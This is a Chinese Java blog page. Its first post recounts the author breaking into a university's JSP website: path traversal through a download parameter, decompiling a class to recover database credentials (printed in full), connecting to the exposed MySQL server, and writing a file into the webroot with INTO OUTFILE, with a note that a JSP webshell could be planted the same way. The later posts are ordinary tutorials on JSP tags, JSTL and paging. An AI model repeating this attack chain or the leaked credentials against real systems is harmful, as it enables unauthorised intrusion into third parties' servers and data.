入侵检测XXX师范大学XXX学院JSP网站

2009.01.06 / 标签: ,, / 分类: 信息安全

学了这么久的JAVA了,是不是也该学习学习JSP网站的一些入侵技术了?O(∩_∩)O哈哈~ 今天忙里偷闲(要学的东西太多了,还要忙项目。%>_<%),于是对XXX师范大学XXX学院的网站体检了一下。

http://www.xxx.edu.cn/

先不急于什么注入。看到这里有个文件下载的地方,点击一个下载看看。

http://www.xxx.edu.cn/down.jsp?fp=files/200606/12112524417890.rar&id=36022

注意看这个链接地址。参数fp是所要下载的文件的路径!或许这个地方能搞点什么(猜测而已)。

我们提交

http://www.xxx.edu.cn/down.jsp?fp=/&id=36022

此时程序抛出了异常!

连物理路径都出来了!试试下载一个jsp文件下来。

http://www.xxx.edu.cn/down.jsp?fp=../index.jsp&id=36022

把index.jsp成功下载下来了,看看它的源码怎么写的。首页好像并没有调用什么数据库,(废话!展示层怎么能直接调用数据层呢!——在MVC模式中)看看其他文件。

再看看这个newslist.jsp文件,它看样子是用来显示新闻的,应该是调用了数据库了。

http://www.xxx.edu.cn/newslist.jsp?id=36800

成功下来下来后,我们主要看它这段代码:

<%@ page contentType="text/html;charset=GBK" import="java.util.*,java.sql.*"%>
<jsp:useBean id="link" scope="page" class="com.link" />
<jsp:useBean id="bbcode" scope="page" class="com.bbcode" />
<%@ include file ="../include/private.jsp" %>
<%
ResultSet rs=link.executeQuery("select * from news where id="+request.getParameter("id"));
link.executeQuery("update news set click=click+1 where id="+request.getParameter("id"));
while(rs.next()){
//if(!rs.getString("link").equals("")){response.sendRedirect("../download/"+rs.getString
("link"));}
if(!rs.getString("link").equals("")){response.sendRedirect("download.jsp?fp="+rs.getString
("link"));}
ResultSet rs_=link.executeQuery("select * from pass where class ="+rs.getString
("department"));
rs_.next();
%>

这里用useBean[标签] 创建了一个数据库链接link。了解JSP的人应该都知道这里的class属性指的就是此类文件所处的位置。(关于JSP标签的详细介绍可查看:http://www.ineeke.com/archives/235/

那么这个文件在哪呢?答:网站根目录/WEB-INF/classes/com/link.class

好了,知道数据库链接文件的位置了,就可以通过这个漏洞把它下载下来了。

看到没,提示可以下载!

不过下载下来的class文件是字节码文件,没法看到原文,也就是说数据库的一些信息没法看到了。

怎么办呢?找个工具把Java字节码文件恢复为JAVA文件呗!

恢复成JAVA文件后,在源码中找到一个link()方法,其代码如下:

public link()
{
strDriver = "org.gjt.mm.mysql.Driver";
strConn = "jdbc:mysql://localhost:3306/fwcdws";
user = "xiong";
password = "xiong13";
conn = null;
stmt = null;
rs = null;
try
{
Class.forName(strDriver).newInstance();
}
catch(Exception _ex)
{
System.err.println("can not connect mysql database");
}
}

嗯…复习一下,这个连接方式叫做什么来着?哦,对!是JDBC直连。(*^__^*) …telnet一下看看服务器对外是否开了3306端口。

OK,说明开着呢。拿出Navicat for MySQL连接一下。

怎么拿WEBSHELL呢?创建一张表temp,字段名neeke,数据类型text保存。

接下来我们给里面插入一些话吧。我们就写:

JSP入侵学习 2009年新年快乐 请您注意网络安全!

By:Neeke

O(∩_∩)O哈哈~然后我们执行MYSQL语句。

SELECT * FROM temp into outfile ‘物理路径’;

这里的物理路径我们上面已经得到了是E:\resin\webapps。

OK!保存为e:\resin\webapps\neeke.txt了。这里我放的是个txt文件,当然同理也可以传一个

JSP后门上去,那不就是WEBSHELL了嘛!

总结:学了J2EE真是太有用了!O(∩_∩)O哈哈~

JSP自定义标签开发

2008.12.15 / 标签: ,, / 分类: J2EE技术
Sofa

关于为什么要使用标签,使用标签有什么好处可以查看[标签文件简介] 。首先在我们的Java Web Project中新建一个类MyTag.java并且实现Tag接口中的所有方法。
接下来,我们需要声明两个私有属性,分别为PageContext和Tag。同时具体实现Tag接口中的各个方法。在doEndTag方法中来实现我们的具体业务逻辑。参考代码如下:

 
  1. package cn.ineeke.mytag;
  2.  
  3. import java.io.IOException;
  4.  
  5. import javax.servlet.jsp.JspException;
  6. import javax.servlet.jsp.PageContext;
  7. import javax.servlet.jsp.tagext.Tag;
  8. /**
  9.  * 作者:Neeke
  10.  * 作用:使用自定义标签输出尼克技术博客网址
  11.  * http://www.ineeke.com
  12.  */
  13. public class MyTag implements Tag {
  14.  
  15.     private PageContext pageContext;
  16.     private Tag parent;
  17.     
  18.     public int doEndTag() throws JspException {
  19.         try {
  20.             pageContext.getOut().write("http://www.ineeke.com");
  21.         } catch (IOException e) {
  22.             e.printStackTrace();
  23.         }
  24.         return EVAL_PAGE;//执行标签后代码
  25.     }
  26.  
  27.     public int doStartTag() throws JspException {
  28.         return SKIP_BODY;//跳过BODY
  29.     }
  30.  
  31.     public Tag getParent() {
  32.         return parent;//返回父类标签
  33.     }
  34.  
  35.     public void release() {
  36.     }
  37.  
  38.     public void setPageContext(PageContext arg0) {
  39.         this.pageContext = arg0;
  40.     }
  41.  
  42.     public void setParent(Tag arg0) {
  43.         this.parent = arg0;
  44.     }
  45.  
  46. }

我们的标签已经写好了,要想在JSP中使用,我们还需要对其进行配置。
在WEB-INF/tlds目录下新建一个标签描述文件mytag.tld,其内容如下:

 
  1. <?xml version="1.0" encoding="ISO-8859-1" ?>
  2. <taglib xmlns="http://java.sun.com/xml/ns/j2ee"
  3.     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4.     xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee web-jsptaglibrary_2_0.xsd"
  5.     version="2.0">
  6.     <description>A tag library exercising SimpleTag handlers.</description>
  7.     <tlib-version>1.0</tlib-version>
  8.   <uri>/www.ineeke.com</uri>
  9.   <description>
  10.     A simple tab library for the examples
  11.   </description>
  12.   <tag>
  13.     <name>address</name>
  14.     <tag-class>cn.ineeke.mytag.MyTag</tag-class>
  15.   </tag>
  16. </taglib>

 

接着继续修改WEB-INF下的web.xml文件。

 
  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <web-app xmlns="http://java.sun.com/xml/ns/j2ee"
  3.     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4.     xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee web-app_2_4.xsd"
  5.     version="2.4">
  6.   <taglib>
  7.        <taglib-uri>/www.ineeke.com</taglib-uri>
  8.        <taglib-location>/WEB-INF/tlds/mytag.tld</taglib-location>
  9.   </taglib>
  10. </web-app>

 

这样我们的自定义标签就已经圆满的配置好了,调用一下看看。在JSP文件中我们使用<%@ taglib prefix="neeke" uri="www.ineeke.com" %>指令导入我们的自定义标签。然后我们即可使用<neeke:address />标签将http://www.ineeke.com输出。

使用JSTL操作数据库

2008.12.09 / 标签: , / 分类: J2EE技术

我们通常是将数据库连接单独写在一个类当中,而本次我们则是使用JSTL直接在JSP页面中进行数据库连接。当然,由于种种原因我们并不推荐这样做,在这里我们只是做一了解,知道总比不知道要好吧。
这里我们通过一个具体实例来演示如何使用JSTL对数据库进行连接以及执行数据库操作。
首先我们创建一个用于注册用户的表单页面index.jsp,其代码如下:

 
  1. <%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
  2. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  3. <html>
  4.   <head>
  5.     <title>添加新用户</title>
  6.   </head>
  7.   <body>
  8.   <form action="addUser.jsp">
  9.     用户名:<input type="text" name="userName"><br>
  10.     密码:<input type="password" name="userPwd"><br>
  11.    <input type="submit" value="提交">
  12.    <h4><a href="http://www.ineeke.com">尼克技术博客</a></h4>
  13.    </form>
  14.   </body>
  15. </html>

 

接下来我们创建用于具体实现增加数据的addUser.jsp,往常都是提交给Servlet来处理的吧?

 
  1. <%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
  2. <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
  3. <%@ taglib uri="http://java.sun.com/jsp/jstl/sql" prefix="sql" %>
  4. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  5. <html>
  6.   <head>
  7.     <title>添加用户信息</title>
  8.   </head>
  9.   <body>
  10.     <sql:setDataSource
  11.     var="dataSource"
  12.     driver="com.microsoft.sqlserver.jdbc.SQLServerDriver"
  13.     url="jdbc:sqlserver://localhost:1433;DatabaseName=BlogDB"
  14.     user="sa"
  15.     password=""
  16.     scope="page"
  17.     />
  18.     <sql:update dataSource="${dataSource}">
  19.     INSERT INTO User_Info VALUES(?,?)
  20.     <sql:param value="${param.userName}" />
  21.     <sql:param value="${param.userPwd}" />
  22.     </sql:update>
  23.     <font color="red"><a href="list.jsp">查询</a></font>
  24.     <h4><a href="http://www.ineeke.com">尼克技术博客</a></h4>
  25.   </body>
  26. </html>

标签简要说明
<sql:setDataSource var="dataSource"/>用于创建数据库连接。
<sql:update dataSource="${dataSource}">…</sql:update>用于执行非查询操作,dataSource属性值为上一标签的var属性值,后面很多地方用到,不再一一说明。
<sql:param value="${param.userName}" />用于获取index.jsp表单中的userName值。
你可能纳闷为什么执行的SQL语句“INSERT INTO User_Info VALUES(?,?)”中用的问号“?”,在这里<sql:param/>将会自动将获取的值一一对应的填充进去。

上面我们实现了数据的插入,接着我们看看如何查取数据,list.jsp代码:

 
  1. <%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
  2. <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
  3. <%@ taglib uri="http://java.sun.com/jsp/jstl/sql" prefix="sql" %>
  4. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  5. <html>
  6.   <head>  
  7.     <title>用户信息列表</title>
  8.   </head>
  9.   <body>
  10.     <sql:setDataSource
  11.     var="dataSource"
  12.     driver="com.microsoft.sqlserver.jdbc.SQLServerDriver"
  13.     url="jdbc:sqlserver://localhost:1433;DatabaseName=BlogDB"
  14.     user="sa"
  15.     password=""
  16.     scope="page"
  17.     />
  18.     <sql:query dataSource="${dataSource}" var="userList">
  19.         SELECT * FROM User_Info
  20.     </sql:query>
  21.     <table border="1">
  22.     <tr><td>编号</td><td>名称</td><td>密码</td><td>操作</td></tr>
  23.     <c:forEach var="user" items="${userList.rows}">
  24.     <tr>
  25.     <td><c:out value="${user.id}" /></td>
  26.     <td><c:out value="${user.userName}" /></td>
  27.     <td><c:out value="${user.userPwd}" /></td>
  28.     <td><a href="delUser.jsp?id=${user.id}">删除</a></td>    
  29.     </tr>
  30.     </c:forEach>
  31.     </table>
  32.     <a href="index.jsp">添加</a>
  33.     <h4><a href="http://www.ineeke.com">尼克技术博客</a></h4>
  34.   </body>
  35. </html>

标签简要说明
<sql:query dataSource="${dataSource}&qu
ot; var="userList">用于执行数据查询操作,var属性中存放有查询后的结果集。
<c:forEach var="user" items="${userList.rows}">使用循环标签对数据集的所有数据行进行遍历,这里的var属性为当前的数据行。
<c:out value="${user.id}" />用于输出数据。

如何进行增加及查询我们都已经了解了,下面我们来看看如何进行数据删除。

 
  1. <%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
  2. <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
  3. <%@ taglib uri="http://java.sun.com/jsp/jstl/sql" prefix="sql" %>
  4. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  5. <html>
  6.   <head>
  7.     <title>删除</title>
  8.   </head> 
  9.   <body>
  10.   <sql:setDataSource
  11.     var="dataSource"
  12.     driver="com.microsoft.sqlserver.jdbc.SQLServerDriver"
  13.     url="jdbc:sqlserver://localhost:1433;DatabaseName=BlogDB"
  14.     user="sa"
  15.     password=""
  16.     scope="page"
  17.     />
  18.     <sql:update dataSource="${dataSource}" var="i">
  19.     DELETE FROM User_Info WHERE id=?
  20.     <sql:param value="${param.id}"/>
  21.     </sql:update>
  22.     <c:if test="${i > 0}">
  23.     删除成功。
  24.     </c:if>
  25.     <a href="list.jsp">查询</a>
  26.     <h4><a href="http://www.ineeke.com">尼克技术博客</a></h4>
  27.   </body>
  28. </html>

标签简要说明
<sql:update dataSource="${dataSource}" var="i">这里的var属性为更新语句执行后返回的数据修改行数。
<c:if test="${i > 0}">判断是否有数据被更新。

整个程序是不是都是使用JSTL标签写出来的?本来是要写数据的增、删、改以及查询的,但是知道了上面三种数据操作的方法,我想自己写出数据更改应该没问题吧。如果您还不清楚为什么会有那么多美元符“$”,那么我建议您还是赶快看看[EL表达式] 吧。

pager-taglib分页标签使用方法

2008.10.09 / 标签: ,,,,,,,, / 分类: J2EE技术

以前写的那个[jsp中实现分页显示数据] 方法不通用,得找个分页标签。关于pager-taglib的使用方法网上虽说一大堆,但是同样费我不少脑细胞去看。有的代码不齐全,有的根本就是错误的,有的写的很潦草,看的我是云里雾里的,经过本人耗费大量的脑细胞奋战N个小时终于搞出了点猫腻。
想明白了,写出来运行成功了,我才发现其实用法很简单,没那些人写的那么麻烦。
首先当然还是要导pager-taglib.jar包了,可以去http://jsptags.com/tags/navigation/pager/index.jsp下载,从下载下来的war文件中找到pager-taglib.jar包以及pager-taglib.tld文件。将pager-taglib.tld文件放在WEB-INF目录下,将pager-taglib.jar放在WEB-INF/lib目录下(JBuilder中的导入方法可以参考[Servlet中实现文件上传] )。
新建一个bean文件定义如下两个方法(不一定非要这个样子):

 
  1. /**
  2.      * 该方法用于获得数据总数
  3.      * @return int
  4.      */
  5. public int getArticlesCount() {
  6.         String sql = "SELECT COUNT(*) FROM blog_Article";
  7.         dbc = new DataSource();
  8.         stmt = dbc.getPreparedStatement(sql);
  9.         rs = dbc.getResultSet(stmt);
  10.         int count = 0;
  11.         try {
  12.             if(rs.next()){
  13.               count = rs.getInt(1);
  14.             }
  15.         } catch (SQLException ex) {
  16.             ex.printStackTrace();
  17.         } finally {
  18.             dbc.closeConnection();
  19.         }
  20.         return count;
  21.     }
  22.     
  23.     /**
  24.      * 该方法用于数据分页
  25.      * @param begin int
  26.      * @param end int
  27.      * @return ArrayList
  28.      */
  29. public ArrayList getArticlesAll(int begin,int end) {
  30.         String sql = "select top "+end+" * from blog_Article where (log_ID <= (select min(log_ID) from (select top "+begin+" log_ID from blog_Article order by log_PostTime desc) as t)) order by log_PostTime desc";
  31.         ArrayList list = new ArrayList();
  32.         dbc = new DataSource();
  33.         stmt = dbc.getPreparedStatement(sql);
  34.         rs = dbc.getResultSet(stmt);
  35.         try {
  36.             while (rs.next()) {
  37.                 ArticleBean article = new ArticleBean();
  38.                 article.setId(rs.getInt(1));
  39.                 //赋值操作…
  40.                 article.setTag(rs.getString(10));
  41.                 article.setIsTop(rs.getByte(11));
  42.                 list.add(article);
  43.             }
  44.         } catch (SQLException ex) {
  45.             ex.printStackTrace();
  46.         } finally {
  47.             dbc.closeCon
    nection();
  48.         }
  49.         return list;
  50.     }

 

接下来新建一个JSP页面(需要JSTL):

 
  1. <%@ page contentType="text/html; charset=GBK" import="java.util.*,com.nkblog.bean.ArticleBean,com.nkblog.dbc.*" %>
  2. <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
  3. <%@ taglib uri="WEB-INF/pager-taglib.tld" prefix="pg" %>
  4. <%
  5. request.setCharacterEncoding("GBK");
  6. String offset = request.getParameter("pager.offset");//pager.offset为此分页标签内置变量用于传递页数
  7.         int page = 0;
  8.         if(offset == null){
  9.         //若offset为null则是第一次访问,所以显示第一页
  10.             page= 1;
  11.         }else{
  12.         //反之,则按照传递来的页数来分
  13.             page = Integer.parseInt(offset)+1;
  14.         }
  15. //获取数据总数        
  16. int dataTotal = ArticleManager.getArticlesCount();
  17. //查询分页数据,10为每页要显示的数据量,可自定义
  18. ArrayList articles = ArticleManager.getArticlesAll(page,10);
  19. %>
  20. <%
  21. for(int i=0;i<articles.size();i++)
  22. {
  23. //输出取出的10条数据…
  24. }
  25. %>
  26. <pg:pager scope="request" maxIndexPages="5" index="center" maxPageItems="10" url="index.jsp" items="<%=dataTotal%>" %>" export="currentPageNumber=pageNumber">
  27.         <pg:first><a href="${pageUrl}">首页</a></pg:first>
  28.         <pg:prev><a href="${pageUrl}">前页</a></pg:prev>
  29.   <pg:page>
  30.   </pg:page>
  31.         <pg:pages>
  32.             <c:choose>
  33.             <c:when test="${pageNumber eq currentPageNumber }">
  34.             <font color="red">${pageNumber }</font>
  35.             </c:when>
  36.             <c:otherwise>
  37.             <a href="${pageUrl }">${pageNumber}</a>
  38.             </c:
    otherwise>
  39.             </c:choose>
  40.    </pg:pages>
  41.         <pg:next><a href="${pageUrl}">下页</a></pg:next>
  42.         <pg:last><a href="${pageUrl}">尾页</a></pg:last>
  43. </pg:pager>

接下来具体说明上面的分页标签<pg:pager>
maxIndexPages为分页条个数,形如:< << 1 2 3 4 5 >> >
maxPageItems为每页要显示的数据量
url为处理分页请求的文件,可以是JSP或Servlet。当程序运行起来后,会以index.jsp?pager.offset=5的形式传递页数。
items为数据总数,pager-taglib会自动根据以上参数进行分页。
需要进行修改的也就上面这几个参数,起初看别人写的方法,我以为只要导入这个标签然后给定一个List数据集合,它就完全自动的跟也并显示数据了,汗~~也不知道我这么写会有几个看得懂的,估计懂的人有,但是能看明白我写的就少了…我发现原来代码写起来简单,但是要给别人将明白了真的好难啊。

 

JSP知识点总结-JSP技术

2008.07.17 / 标签: ,, / 分类: J2EE技术
Sofa

(1) JSP是一种Java服务器端技术,它用于在网页上显示动态内容。
(2) JSP页面构成
a) 静态内容 HTML元素等
b) 指令 <%@ page language=”java” pageEncoding=”GBK” %>
c) 表达式 <%=”Hello World!” %>
d) Scriptlet <%out.println(“

Hello World!

”); %>
e) 声明 <%!public String welcome = “Hello World!”; %>
f) 动作
g) 注释 <%-- 这个注释客户端看不见 --%>
(3) 表达式、Scriptlet和声明都是JSP脚本元素。
(4) JSP目前的指令有3种,即page、include、taglib。
(5) JSP隐式对象:
a) 输入输出对象 request、response、out
b) 作用域通信对象 session、application、pageContext
c) Servlet对象 page、config
d) 错误对象 exception
(6) JavaBean是一个公共类,具有不带任何参数的公有构造函数,具有get()和set()方法。
(7) JSP标准动作:
(8) EL表达式可用于所有HTML和JSP标签中。其隐式对象包括:pageContext、request、param、paramValues、pageScope、requestScope、sessionScope、applicationScope
(9) 自定义标签在功能逻辑上与JavaBean类似,都封装Java代码;自定义标签时可重用的组件代码,JavaBean也是可重用的组件。
(10) 标签处理程序是JSP文件中自定义标签的实现代码,是一个运行时调用的Java类。它必须实现或扩展javax.servlet.jsp.tagext包中的类和接口。
(11) Javax.servlet.jsp.tagext包中的类:
a) Tag接口 定义了标签处理程序和JSP页面生成的Servlet之间的基本协议
b) IterationTag接口 扩展了Tag接口,增加了一个控制重复处理标签主体的方法
c) BodyTag接口 扩展了IterationTag接口,由需要对标签主体进行访问并能对其进行操作的标签处理程序使用
d) TagSupport类 实现了Tag和InterationTag接口,支持简单标签和主体迭代
e) BodyTagSupport类 实现BodyTag接口,扩展TagSupport类,支持需要访问和操纵标签的主体内容的标签
(12) 标签生命周期:
(13) 使用标签文件,不需要标签库描述符文件,且标签文件必须存放在WEB-INF/tags文件夹或其子目录中。
(14) JSTL提供4个主要的标签库:核心标签库、国际化(I18N)与格式化标签库、XML标签库以及SQL标签库。
(15) 核心标签库:
a) 通用标签:
b) 条件标签:
c) 迭代标签:

无觅相关文章插件,快速提升流量